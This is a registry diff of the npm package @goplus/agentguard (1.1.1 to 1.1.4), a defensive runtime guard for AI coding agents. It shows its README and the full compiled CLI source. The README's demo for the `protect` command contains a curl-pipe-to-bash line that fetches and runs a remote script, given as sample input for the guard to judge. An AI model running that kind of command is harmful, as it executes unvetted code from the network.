@goplus/agentguard 1.1.1 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +41 -2
- package/dist/cli.d.ts +3 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +335 -0
- package/dist/cli.js.map +1 -0
- package/dist/cloud/client.d.ts +41 -0
- package/dist/cloud/client.d.ts.map +1 -0
- package/dist/cloud/client.js +145 -0
- package/dist/cloud/client.js.map +1 -0
- package/dist/config.d.ts +31 -0
- package/dist/config.d.ts.map +1 -0
- package/dist/config.js +133 -0
- package/dist/config.js.map +1 -0
- package/dist/feed/selfcheck.d.ts +36 -0
- package/dist/feed/selfcheck.d.ts.map +1 -0
- package/dist/feed/selfcheck.js +198 -0
- package/dist/feed/selfcheck.js.map +1 -0
- package/dist/feed/state.d.ts +14 -0
- package/dist/feed/state.d.ts.map +1 -0
- package/dist/feed/state.js +57 -0
- package/dist/feed/state.js.map +1 -0
- package/dist/feed/types.d.ts +102 -0
- package/dist/feed/types.d.ts.map +1 -0
- package/dist/feed/types.js +15 -0
- package/dist/feed/types.js.map +1 -0
- package/dist/index.d.ts +7 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +25 -1
- package/dist/index.js.map +1 -1
- package/dist/installers.d.ts +10 -0
- package/dist/installers.d.ts.map +1 -0
- package/dist/installers.js +137 -0
- package/dist/installers.js.map +1 -0
- package/dist/mcp-server.js +3 -2
- package/dist/mcp-server.js.map +1 -1
- package/dist/postinstall.d.ts +3 -0
- package/dist/postinstall.d.ts.map +1 -0
- package/dist/postinstall.js +13 -0
- package/dist/postinstall.js.map +1 -0
- package/dist/runtime/audit.d.ts +10 -0
- package/dist/runtime/audit.d.ts.map +1 -0
- package/dist/runtime/audit.js +94 -0
- package/dist/runtime/audit.js.map +1 -0
- package/dist/runtime/evaluator.d.ts +3 -0
- package/dist/runtime/evaluator.d.ts.map +1 -0
- package/dist/runtime/evaluator.js +197 -0
- package/dist/runtime/evaluator.js.map +1 -0
- package/dist/runtime/policy.d.ts +12 -0
- package/dist/runtime/policy.d.ts.map +1 -0
- package/dist/runtime/policy.js +81 -0
- package/dist/runtime/policy.js.map +1 -0
- package/dist/runtime/protect.d.ts +22 -0
- package/dist/runtime/protect.d.ts.map +1 -0
- package/dist/runtime/protect.js +172 -0
- package/dist/runtime/protect.js.map +1 -0
- package/dist/runtime/redaction.d.ts +6 -0
- package/dist/runtime/redaction.d.ts.map +1 -0
- package/dist/runtime/redaction.js +103 -0
- package/dist/runtime/redaction.js.map +1 -0
- package/dist/runtime/types.d.ts +62 -0
- package/dist/runtime/types.d.ts.map +1 -0
- package/dist/runtime/types.js +3 -0
- package/dist/runtime/types.js.map +1 -0
- package/dist/tests/cloud-live.test.d.ts +2 -0
- package/dist/tests/cloud-live.test.d.ts.map +1 -0
- package/dist/tests/cloud-live.test.js +68 -0
- package/dist/tests/cloud-live.test.js.map +1 -0
- package/dist/tests/feed-cloud.test.d.ts +2 -0
- package/dist/tests/feed-cloud.test.d.ts.map +1 -0
- package/dist/tests/feed-cloud.test.js +93 -0
- package/dist/tests/feed-cloud.test.js.map +1 -0
- package/dist/tests/feed-selfcheck.test.d.ts +2 -0
- package/dist/tests/feed-selfcheck.test.d.ts.map +1 -0
- package/dist/tests/feed-selfcheck.test.js +118 -0
- package/dist/tests/feed-selfcheck.test.js.map +1 -0
- package/dist/tests/installer.test.d.ts +2 -0
- package/dist/tests/installer.test.d.ts.map +1 -0
- package/dist/tests/installer.test.js +32 -0
- package/dist/tests/installer.test.js.map +1 -0
- package/dist/tests/runtime-cloud.test.d.ts +2 -0
- package/dist/tests/runtime-cloud.test.d.ts.map +1 -0
- package/dist/tests/runtime-cloud.test.js +206 -0
- package/dist/tests/runtime-cloud.test.js.map +1 -0
- package/dist/version.d.ts +2 -0
- package/dist/version.d.ts.map +1 -0
- package/dist/version.js +7 -0
- package/dist/version.js.map +1 -0
- package/docs/SECURITY-POLICY.md +558 -0
- package/docs/architecture.md +54 -0
- package/docs/claude-code.md +41 -0
- package/docs/cloud-connect.md +73 -0
- package/docs/cloud-native-api.md +526 -0
- package/docs/codex.md +38 -0
- package/docs/goplus-api.md +38 -0
- package/docs/mcp-server.md +39 -0
- package/docs/openclaw.md +41 -0
- package/docs/privacy-boundary.md +37 -0
- package/docs/sdk.md +83 -0
- package/docs/trust-cli.md +58 -0
- package/examples/openclaw-docker/Dockerfile +10 -0
- package/examples/openclaw-docker/README.md +16 -0
- package/examples/openclaw-docker/docker-compose.yml +8 -0
- package/examples/openclaw-docker/plugin.ts +8 -0
- package/package.json +7 -2
- package/skills/agentguard/SKILL.md +19 -0
- package/skills/agentguard/package.json +2 -1
- package/skills/agentguard/scripts/checkup-report.js +2 -15
package/README.md
CHANGED
|
@@ -44,10 +44,41 @@ AI coding agents can execute any command, read any file, and install any skill
|
|
|
44
44
|
- Analyzes audit logs for attack patterns and flags repeat offenders
|
|
45
45
|
- Validates environment configuration and trust registry health
|
|
46
46
|
|
|
47
|
-
##
|
|
47
|
+
## 30 seconds: install
|
|
48
48
|
|
|
49
49
|
```bash
|
|
50
|
-
npm install @goplus/agentguard
|
|
50
|
+
npm install -g @goplus/agentguard
|
|
51
|
+
agentguard init
|
|
52
|
+
agentguard status
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
The npm install runs a best-effort local bootstrap; `agentguard init` ensures `~/.agentguard/config.json` exists and protects locally by default.
|
|
56
|
+
No Cloud account or network connection is required for the local runtime guard.
|
|
57
|
+
|
|
58
|
+
## 3 minutes: protect your agent
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# Scan a local skill or plugin
|
|
62
|
+
agentguard scan ./examples/vulnerable-skill
|
|
63
|
+
|
|
64
|
+
# Evaluate one runtime action from stdin
|
|
65
|
+
printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect
|
|
66
|
+
|
|
67
|
+
# Optional: connect paid AgentGuard Cloud policy, audit, and approvals
|
|
68
|
+
AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://agentguard.gopluslabs.io
|
|
69
|
+
|
|
70
|
+
# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly
|
|
71
|
+
# published advisories from Cloud, runs a self-check against your installed
|
|
72
|
+
# skills, and reports matches back. Run in cron / on boot.
|
|
73
|
+
agentguard subscribe
|
|
74
|
+
|
|
75
|
+
# Or run a one-off self-check against a single advisory id
|
|
76
|
+
agentguard checkup --against-advisory AGS-2026-0042
|
|
77
|
+
|
|
78
|
+
# Optional: write host-specific hook templates
|
|
79
|
+
agentguard init --agent claude-code
|
|
80
|
+
agentguard init --agent codex
|
|
81
|
+
agentguard init --agent openclaw
|
|
51
82
|
```
|
|
52
83
|
|
|
53
84
|
<details>
|
|
@@ -63,6 +94,14 @@ This installs the skill, configures hooks, and sets your protection level.
|
|
|
63
94
|
|
|
64
95
|
</details>
|
|
65
96
|
|
|
97
|
+
See also:
|
|
98
|
+
|
|
99
|
+
- [Connect OSS AgentGuard to Cloud](docs/cloud-connect.md)
|
|
100
|
+
- [Privacy and data boundary](docs/privacy-boundary.md)
|
|
101
|
+
- [Claude Code setup](docs/claude-code.md)
|
|
102
|
+
- [OpenClaw setup](docs/openclaw.md)
|
|
103
|
+
- [Codex setup](docs/codex.md)
|
|
104
|
+
|
|
66
105
|
<details>
|
|
67
106
|
<summary><b>Manual install (skill only)</b></summary>
|
|
68
107
|
|
package/dist/cli.d.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":""}
|
package/dist/cli.js
ADDED
|
@@ -0,0 +1,335 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
"use strict";
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
|
+
const node_fs_1 = require("node:fs");
|
|
5
|
+
const commander_1 = require("commander");
|
|
6
|
+
const client_js_1 = require("./cloud/client.js");
|
|
7
|
+
const config_js_1 = require("./config.js");
|
|
8
|
+
const index_js_1 = require("./scanner/index.js");
|
|
9
|
+
const protect_js_1 = require("./runtime/protect.js");
|
|
10
|
+
const policy_js_1 = require("./runtime/policy.js");
|
|
11
|
+
const installers_js_1 = require("./installers.js");
|
|
12
|
+
const version_js_1 = require("./version.js");
|
|
13
|
+
const selfcheck_js_1 = require("./feed/selfcheck.js");
|
|
14
|
+
const state_js_1 = require("./feed/state.js");
|
|
15
|
+
async function main() {
|
|
16
|
+
const program = new commander_1.Command();
|
|
17
|
+
program
|
|
18
|
+
.name('agentguard')
|
|
19
|
+
.description('Local-first security guard for AI agents, with optional AgentGuard Cloud control plane')
|
|
20
|
+
.version(version_js_1.packageVersion);
|
|
21
|
+
program
|
|
22
|
+
.command('init')
|
|
23
|
+
.description('Create ~/.agentguard/config.json and local runtime paths')
|
|
24
|
+
.option('--level <level>', 'Protection level: strict | balanced | permissive')
|
|
25
|
+
.option('--agent <agent>', 'Install hook/template for claude-code, codex, or openclaw')
|
|
26
|
+
.option('--cloud <url>', 'AgentGuard Cloud URL to store in local config')
|
|
27
|
+
.option('--force', 'Overwrite existing hook/template files')
|
|
28
|
+
.action((options) => {
|
|
29
|
+
const config = (0, config_js_1.ensureConfig)();
|
|
30
|
+
if (options.level) {
|
|
31
|
+
if (!['strict', 'balanced', 'permissive'].includes(options.level)) {
|
|
32
|
+
throw new Error('Invalid level. Use strict, balanced, or permissive.');
|
|
33
|
+
}
|
|
34
|
+
config.level = options.level;
|
|
35
|
+
(0, config_js_1.saveConfig)(config);
|
|
36
|
+
}
|
|
37
|
+
if (options.cloud) {
|
|
38
|
+
config.cloudUrl = (0, config_js_1.normalizeCloudUrl)(options.cloud);
|
|
39
|
+
(0, config_js_1.saveConfig)(config);
|
|
40
|
+
}
|
|
41
|
+
const paths = (0, config_js_1.getAgentGuardPaths)();
|
|
42
|
+
console.log(`AgentGuard initialized at ${paths.home}`);
|
|
43
|
+
console.log(`Config: ${paths.configPath}`);
|
|
44
|
+
if (options.agent) {
|
|
45
|
+
if (!['claude-code', 'codex', 'openclaw'].includes(options.agent)) {
|
|
46
|
+
throw new Error('Invalid agent. Use claude-code, codex, or openclaw.');
|
|
47
|
+
}
|
|
48
|
+
const result = (0, installers_js_1.installAgentTemplates)(options.agent, { force: options.force });
|
|
49
|
+
console.log(`Installed ${result.agent} template:`);
|
|
50
|
+
for (const file of result.files)
|
|
51
|
+
console.log(`- ${file}`);
|
|
52
|
+
}
|
|
53
|
+
});
|
|
54
|
+
program
|
|
55
|
+
.command('connect')
|
|
56
|
+
.description('Connect local AgentGuard to AgentGuard Cloud')
|
|
57
|
+
.option('--key <key>', 'AgentGuard Cloud API key (prefer AGENTGUARD_API_KEY to avoid shell history)')
|
|
58
|
+
.option('--api-key <key>', 'AgentGuard Cloud API key (prefer AGENTGUARD_API_KEY to avoid shell history)')
|
|
59
|
+
.option('--url <url>', 'AgentGuard Cloud URL', 'https://agentguard.gopluslabs.io')
|
|
60
|
+
.option('--cloud <url>', 'AgentGuard Cloud URL')
|
|
61
|
+
.action(async (options) => {
|
|
62
|
+
const apiKey = options.key || options.apiKey || process.env.AGENTGUARD_API_KEY;
|
|
63
|
+
if (!apiKey) {
|
|
64
|
+
throw new Error('Missing API key. Pass --key, --api-key, or set AGENTGUARD_API_KEY.');
|
|
65
|
+
}
|
|
66
|
+
const config = (0, config_js_1.connectCloud)({ apiKey, cloudUrl: options.cloud || options.url });
|
|
67
|
+
const client = new client_js_1.AgentGuardCloudClient(config);
|
|
68
|
+
try {
|
|
69
|
+
const policy = await client.fetchEffectivePolicy();
|
|
70
|
+
(0, policy_js_1.saveCachedPolicy)(config.policyCachePath, policy);
|
|
71
|
+
console.log(`Connected to AgentGuard Cloud (${config.cloudUrl}).`);
|
|
72
|
+
console.log(`Cached policy ${policy.policyVersion} at ${config.policyCachePath}.`);
|
|
73
|
+
}
|
|
74
|
+
catch (error) {
|
|
75
|
+
console.log(`Saved Cloud configuration for ${config.cloudUrl}.`);
|
|
76
|
+
console.log(`Policy fetch failed; local protection still works offline. ${error instanceof Error ? error.message : ''}`.trim());
|
|
77
|
+
}
|
|
78
|
+
});
|
|
79
|
+
program
|
|
80
|
+
.command('status')
|
|
81
|
+
.description('Show local and Cloud connection status')
|
|
82
|
+
.action(() => {
|
|
83
|
+
const config = (0, config_js_1.ensureConfig)();
|
|
84
|
+
const paths = (0, config_js_1.getAgentGuardPaths)();
|
|
85
|
+
console.log(`Config: ${paths.configPath}`);
|
|
86
|
+
console.log(`Protection level: ${config.level}`);
|
|
87
|
+
console.log(`Cloud URL: ${config.cloudUrl || 'not configured'}`);
|
|
88
|
+
console.log(`API key: ${(0, config_js_1.maskApiKey)(config.apiKey)}`);
|
|
89
|
+
console.log(`Policy cache: ${config.policyCachePath}`);
|
|
90
|
+
console.log(`Audit log: ${config.auditPath}`);
|
|
91
|
+
});
|
|
92
|
+
program
|
|
93
|
+
.command('doctor')
|
|
94
|
+
.description('Check local AgentGuard setup')
|
|
95
|
+
.action(async () => {
|
|
96
|
+
const config = (0, config_js_1.ensureConfig)();
|
|
97
|
+
const paths = (0, config_js_1.getAgentGuardPaths)();
|
|
98
|
+
console.log(`✓ Home: ${paths.home}`);
|
|
99
|
+
console.log(`✓ Config: ${paths.configPath}`);
|
|
100
|
+
console.log(`✓ Node: ${process.version}`);
|
|
101
|
+
if (config.apiKey) {
|
|
102
|
+
const client = new client_js_1.AgentGuardCloudClient(config);
|
|
103
|
+
try {
|
|
104
|
+
const status = await client.status();
|
|
105
|
+
console.log(`✓ Cloud: ${status.status}${status.version ? ` (${status.version})` : ''}`);
|
|
106
|
+
}
|
|
107
|
+
catch {
|
|
108
|
+
console.log('! Cloud: unreachable; local protection remains active');
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
else {
|
|
112
|
+
console.log('! Cloud: not connected');
|
|
113
|
+
}
|
|
114
|
+
});
|
|
115
|
+
program
|
|
116
|
+
.command('scan')
|
|
117
|
+
.description('Scan a local skill/plugin directory')
|
|
118
|
+
.argument('<path>', 'Directory to scan')
|
|
119
|
+
.option('--json', 'Print JSON output')
|
|
120
|
+
.action(async (path, options) => {
|
|
121
|
+
const scanner = new index_js_1.SkillScanner({ useExternalScanner: false });
|
|
122
|
+
const result = await scanner.quickScan(path);
|
|
123
|
+
if (options.json) {
|
|
124
|
+
console.log(JSON.stringify(result, null, 2));
|
|
125
|
+
}
|
|
126
|
+
else {
|
|
127
|
+
console.log(`${result.risk_level.toUpperCase()}: ${result.summary}`);
|
|
128
|
+
if (result.risk_tags.length)
|
|
129
|
+
console.log(`Tags: ${result.risk_tags.join(', ')}`);
|
|
130
|
+
}
|
|
131
|
+
process.exitCode = result.risk_level === 'critical' ? 2 : 0;
|
|
132
|
+
});
|
|
133
|
+
program
|
|
134
|
+
.command('protect')
|
|
135
|
+
.description('Evaluate one runtime action from stdin or hook environment')
|
|
136
|
+
.option('--agent <agent>', 'Agent host, e.g. claude-code, codex, openclaw')
|
|
137
|
+
.option('--action-type <type>', 'Runtime action type, e.g. shell, file_read, file_write')
|
|
138
|
+
.option('--tool-name <name>', 'Tool name from host')
|
|
139
|
+
.option('--session-id <id>', 'Stable agent session id')
|
|
140
|
+
.option('--decision-mode <mode>', 'local-first or cloud', 'local-first')
|
|
141
|
+
.option('--json', 'Print JSON output')
|
|
142
|
+
.action(async (options) => {
|
|
143
|
+
const stdinText = readStdinIfAvailable();
|
|
144
|
+
const result = await (0, protect_js_1.protectAction)({
|
|
145
|
+
config: (0, config_js_1.ensureConfig)(),
|
|
146
|
+
stdinText,
|
|
147
|
+
agentHost: options.agent,
|
|
148
|
+
actionType: options.actionType,
|
|
149
|
+
toolName: options.toolName,
|
|
150
|
+
sessionId: options.sessionId,
|
|
151
|
+
decisionMode: options.decisionMode,
|
|
152
|
+
});
|
|
153
|
+
if (!result)
|
|
154
|
+
return;
|
|
155
|
+
console.log((0, protect_js_1.formatProtectResult)(result, Boolean(options.json)));
|
|
156
|
+
process.exitCode = (0, protect_js_1.exitCodeForDecision)(result.decision);
|
|
157
|
+
});
|
|
158
|
+
program
|
|
159
|
+
.command('subscribe')
|
|
160
|
+
.description('Pull new threat-feed advisories from AgentGuard Cloud and run a self-check against locally installed skills')
|
|
161
|
+
.option('--since <iso>', 'Override the persisted last-pulled timestamp')
|
|
162
|
+
.option('--json', 'Emit machine-readable summary instead of human text')
|
|
163
|
+
.option('--no-report', 'Skip uploading self-check results back to Cloud')
|
|
164
|
+
.action(async (options) => {
|
|
165
|
+
const config = (0, config_js_1.ensureConfig)();
|
|
166
|
+
const client = new client_js_1.AgentGuardCloudClient(config);
|
|
167
|
+
const state = (0, state_js_1.loadFeedState)();
|
|
168
|
+
const since = options.since ?? state.lastPulledAt;
|
|
169
|
+
let advisories;
|
|
170
|
+
try {
|
|
171
|
+
advisories = await client.pullAdvisories(since);
|
|
172
|
+
}
|
|
173
|
+
catch (err) {
|
|
174
|
+
console.error(`! Could not reach AgentGuard Cloud: ${err.message}`);
|
|
175
|
+
process.exitCode = 1;
|
|
176
|
+
return;
|
|
177
|
+
}
|
|
178
|
+
if (advisories === null) {
|
|
179
|
+
// 404 — older Cloud build without the feed endpoint. Not an error.
|
|
180
|
+
if (options.json) {
|
|
181
|
+
console.log(JSON.stringify({ supported: false, results: [] }));
|
|
182
|
+
}
|
|
183
|
+
else {
|
|
184
|
+
console.log('AgentGuard Cloud does not expose /api/v1/feed/advisories yet — nothing to do.');
|
|
185
|
+
}
|
|
186
|
+
return;
|
|
187
|
+
}
|
|
188
|
+
const seen = new Set(state.seenAdvisoryIds ?? []);
|
|
189
|
+
// Process oldest-first so the cursor can advance monotonically and we
|
|
190
|
+
// never skip over an advisory that failed mid-batch.
|
|
191
|
+
const fresh = advisories
|
|
192
|
+
.filter((a) => !seen.has(a.id))
|
|
193
|
+
.sort((a, b) => (a.publishedAt < b.publishedAt ? -1 : 1));
|
|
194
|
+
const results = [];
|
|
195
|
+
let cursorOk = true; // stops advancing on the first hard failure
|
|
196
|
+
let latestPublishedAt = state.lastPulledAt;
|
|
197
|
+
let hardFailures = 0;
|
|
198
|
+
for (const advisory of fresh) {
|
|
199
|
+
let processed = true;
|
|
200
|
+
let result;
|
|
201
|
+
try {
|
|
202
|
+
result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(advisory);
|
|
203
|
+
}
|
|
204
|
+
catch (err) {
|
|
205
|
+
// runSelfCheck shouldn't throw, but if it does the advisory has
|
|
206
|
+
// not been evaluated — don't mark it seen and don't advance.
|
|
207
|
+
console.error(`! Self-check threw for ${advisory.id}: ${err.message}`);
|
|
208
|
+
hardFailures += 1;
|
|
209
|
+
cursorOk = false;
|
|
210
|
+
continue;
|
|
211
|
+
}
|
|
212
|
+
results.push(result);
|
|
213
|
+
if (options.report !== false && client.connected && result.matchedArtifacts.length > 0) {
|
|
214
|
+
// Report is on the critical path — if Cloud doesn't see the
|
|
215
|
+
// match, we must NOT mark the advisory seen, otherwise a
|
|
216
|
+
// transient network blip silently buries a real hit.
|
|
217
|
+
try {
|
|
218
|
+
await client.reportSelfCheck(advisory.id, result.matchedArtifacts, {
|
|
219
|
+
elapsedMs: result.elapsedMs,
|
|
220
|
+
warnings: result.warnings,
|
|
221
|
+
});
|
|
222
|
+
}
|
|
223
|
+
catch (err) {
|
|
224
|
+
console.error(`! Failed to report self-check for ${advisory.id}: ${err.message}`);
|
|
225
|
+
processed = false;
|
|
226
|
+
hardFailures += 1;
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
if (processed) {
|
|
230
|
+
Object.assign(state, (0, state_js_1.markAdvisorySeen)(state, advisory.id));
|
|
231
|
+
if (cursorOk && (!latestPublishedAt || advisory.publishedAt > latestPublishedAt)) {
|
|
232
|
+
latestPublishedAt = advisory.publishedAt;
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
else {
|
|
236
|
+
// From this point we no longer advance the pull cursor — the
|
|
237
|
+
// failed advisory must be re-pulled on the next run.
|
|
238
|
+
cursorOk = false;
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
state.lastPulledAt = latestPublishedAt;
|
|
242
|
+
(0, state_js_1.saveFeedState)(state);
|
|
243
|
+
if (options.json) {
|
|
244
|
+
console.log(JSON.stringify({ supported: true, pulled: advisories.length, fresh: fresh.length, results }, null, 2));
|
|
245
|
+
return;
|
|
246
|
+
}
|
|
247
|
+
const totalMatches = results.reduce((acc, r) => acc + r.matchedArtifacts.length, 0);
|
|
248
|
+
console.log(`Pulled ${advisories.length} advisory record(s); ${fresh.length} new.`);
|
|
249
|
+
if (fresh.length === 0)
|
|
250
|
+
return;
|
|
251
|
+
console.log(`Self-check found ${totalMatches} match(es) across the new advisories.`);
|
|
252
|
+
for (const r of results) {
|
|
253
|
+
if (r.matchedArtifacts.length === 0)
|
|
254
|
+
continue;
|
|
255
|
+
console.log(` - ${r.advisoryId}: ${r.matchedArtifacts.length} match(es)`);
|
|
256
|
+
for (const m of r.matchedArtifacts) {
|
|
257
|
+
console.log(` · ${m.path} [${m.matchedBy}]`);
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
// Exit codes: 2 = matches found, 1 = at least one advisory failed
|
|
261
|
+
// to evaluate or report (cursor was held back), 0 = clean.
|
|
262
|
+
if (hardFailures > 0) {
|
|
263
|
+
console.error(`! ${hardFailures} advisory record(s) failed to process and will be re-pulled next run.`);
|
|
264
|
+
process.exitCode = 1;
|
|
265
|
+
}
|
|
266
|
+
else if (totalMatches > 0) {
|
|
267
|
+
process.exitCode = 2;
|
|
268
|
+
}
|
|
269
|
+
else {
|
|
270
|
+
process.exitCode = 0;
|
|
271
|
+
}
|
|
272
|
+
});
|
|
273
|
+
program
|
|
274
|
+
.command('checkup')
|
|
275
|
+
.description('Run a self-check immediately. Without --against-advisory, scans for everything in the feed cache.')
|
|
276
|
+
.option('--against-advisory <id>', 'Restrict the check to a single advisory id (fetches it from Cloud if needed)')
|
|
277
|
+
.option('--json', 'Emit machine-readable result')
|
|
278
|
+
.action(async (options) => {
|
|
279
|
+
const config = (0, config_js_1.ensureConfig)();
|
|
280
|
+
const client = new client_js_1.AgentGuardCloudClient(config);
|
|
281
|
+
const advisoryId = options.againstAdvisory;
|
|
282
|
+
if (!advisoryId) {
|
|
283
|
+
console.log('Tip: pass --against-advisory <id> for now. A broader, full-fleet checkup is coming.');
|
|
284
|
+
console.log('Meanwhile, run `agentguard subscribe` to pull the feed and self-check new entries.');
|
|
285
|
+
return;
|
|
286
|
+
}
|
|
287
|
+
let advisory = null;
|
|
288
|
+
try {
|
|
289
|
+
const all = await client.pullAdvisories();
|
|
290
|
+
advisory = all?.find((a) => a.id === advisoryId) ?? null;
|
|
291
|
+
}
|
|
292
|
+
catch (err) {
|
|
293
|
+
console.error(`! Could not reach AgentGuard Cloud: ${err.message}`);
|
|
294
|
+
process.exitCode = 1;
|
|
295
|
+
return;
|
|
296
|
+
}
|
|
297
|
+
if (!advisory) {
|
|
298
|
+
console.error(`No advisory with id "${advisoryId}" found in the current feed window.`);
|
|
299
|
+
process.exitCode = 1;
|
|
300
|
+
return;
|
|
301
|
+
}
|
|
302
|
+
const result = await (0, selfcheck_js_1.runSelfCheckForAdvisory)(advisory);
|
|
303
|
+
if (options.json) {
|
|
304
|
+
console.log(JSON.stringify(result, null, 2));
|
|
305
|
+
}
|
|
306
|
+
else {
|
|
307
|
+
console.log(`Advisory ${result.advisoryId}: ${result.matchedArtifacts.length} match(es)`);
|
|
308
|
+
for (const m of result.matchedArtifacts) {
|
|
309
|
+
console.log(` · ${m.path} [${m.matchedBy}]`);
|
|
310
|
+
}
|
|
311
|
+
if (result.warnings.length) {
|
|
312
|
+
console.log('Warnings:');
|
|
313
|
+
for (const w of result.warnings)
|
|
314
|
+
console.log(` ! ${w}`);
|
|
315
|
+
}
|
|
316
|
+
}
|
|
317
|
+
process.exitCode = result.matchedArtifacts.length > 0 ? 2 : 0;
|
|
318
|
+
});
|
|
319
|
+
await program.parseAsync(process.argv);
|
|
320
|
+
}
|
|
321
|
+
function readStdinIfAvailable() {
|
|
322
|
+
if (process.stdin.isTTY)
|
|
323
|
+
return '';
|
|
324
|
+
try {
|
|
325
|
+
return (0, node_fs_1.readFileSync)(0, 'utf8');
|
|
326
|
+
}
|
|
327
|
+
catch {
|
|
328
|
+
return '';
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
main().catch((error) => {
|
|
332
|
+
console.error(error instanceof Error ? error.message : error);
|
|
333
|
+
process.exit(1);
|
|
334
|
+
});
|
|
335
|
+
//# sourceMappingURL=cli.js.map
|
package/dist/cli.js.map
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":";;;AAEA,qCAAuC;AACvC,yCAAoC;AACpC,iDAA0D;AAC1D,2CAQqB;AACrB,iDAAkD;AAClD,qDAA+F;AAC/F,mDAAuD;AAEvD,mDAA6E;AAC7E,6CAA8C;AAC9C,sDAA8D;AAC9D,8CAAiF;AAGjF,KAAK,UAAU,IAAI;IACjB,MAAM,OAAO,GAAG,IAAI,mBAAO,EAAE,CAAC;IAE9B,OAAO;SACJ,IAAI,CAAC,YAAY,CAAC;SAClB,WAAW,CAAC,wFAAwF,CAAC;SACrG,OAAO,CAAC,2BAAc,CAAC,CAAC;IAE3B,OAAO;SACJ,OAAO,CAAC,MAAM,CAAC;SACf,WAAW,CAAC,0DAA0D,CAAC;SACvE,MAAM,CAAC,iBAAiB,EAAE,kDAAkD,CAAC;SAC7E,MAAM,CAAC,iBAAiB,EAAE,2DAA2D,CAAC;SACtF,MAAM,CAAC,eAAe,EAAE,+CAA+C,CAAC;SACxE,MAAM,CAAC,SAAS,EAAE,wCAAwC,CAAC;SAC3D,MAAM,CAAC,CAAC,OAAO,EAAE,EAAE;QAClB,MAAM,MAAM,GAAG,IAAA,wBAAY,GAAE,CAAC;QAC9B,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;YAClB,IAAI,CAAC,CAAC,QAAQ,EAAE,UAAU,EAAE,YAAY,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,CAAC;IAC9D,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAClB,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
import type { AgentGuardConfig } from '../config.js';
|
|
2
|
+
import type { EffectiveRuntimePolicy, RuntimeAction, RuntimeAuditEvent, RuntimeDecision } from '../runtime/types.js';
|
|
3
|
+
import type { Advisory, SelfCheckMatch } from '../feed/types.js';
|
|
4
|
+
export declare class AgentGuardCloudClient {
|
|
5
|
+
private readonly cloudUrl;
|
|
6
|
+
private readonly apiKey?;
|
|
7
|
+
constructor(config: Pick<AgentGuardConfig, 'cloudUrl' | 'apiKey'>);
|
|
8
|
+
get connected(): boolean;
|
|
9
|
+
status(): Promise<{
|
|
10
|
+
status: string;
|
|
11
|
+
version?: string;
|
|
12
|
+
}>;
|
|
13
|
+
fetchEffectivePolicy(): Promise<EffectiveRuntimePolicy>;
|
|
14
|
+
evaluateAction(action: RuntimeAction): Promise<RuntimeDecision>;
|
|
15
|
+
ingestEvents(events: RuntimeAuditEvent[]): Promise<void>;
|
|
16
|
+
createApproval(event: RuntimeAuditEvent): Promise<string | null>;
|
|
17
|
+
/**
|
|
18
|
+
* Pull threat-feed advisories newer than `since`. Returns null when the
|
|
19
|
+
* cloud doesn't expose the endpoint yet (404) — callers should treat null
|
|
20
|
+
* as "no new advisories" rather than an error, so the subscribe command
|
|
21
|
+
* works against older AgentGuard Cloud versions too.
|
|
22
|
+
*/
|
|
23
|
+
pullAdvisories(since?: string): Promise<Advisory[] | null>;
|
|
24
|
+
/**
|
|
25
|
+
* Report the outcome of a single advisory self-check. Matches paths are
|
|
26
|
+
* redacted by the caller before they get here. Tolerates 404 so subscribe
|
|
27
|
+
* still completes locally even if the report sink is absent server-side.
|
|
28
|
+
*/
|
|
29
|
+
reportSelfCheck(advisoryId: string, matches: SelfCheckMatch[], options?: {
|
|
30
|
+
elapsedMs?: number;
|
|
31
|
+
warnings?: string[];
|
|
32
|
+
}): Promise<void>;
|
|
33
|
+
private request;
|
|
34
|
+
private requireApiKey;
|
|
35
|
+
}
|
|
36
|
+
export declare class CloudRequestError extends Error {
|
|
37
|
+
readonly status: number;
|
|
38
|
+
readonly path: string;
|
|
39
|
+
constructor(status: number, path: string);
|
|
40
|
+
}
|
|
41
|
+
//# sourceMappingURL=client.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
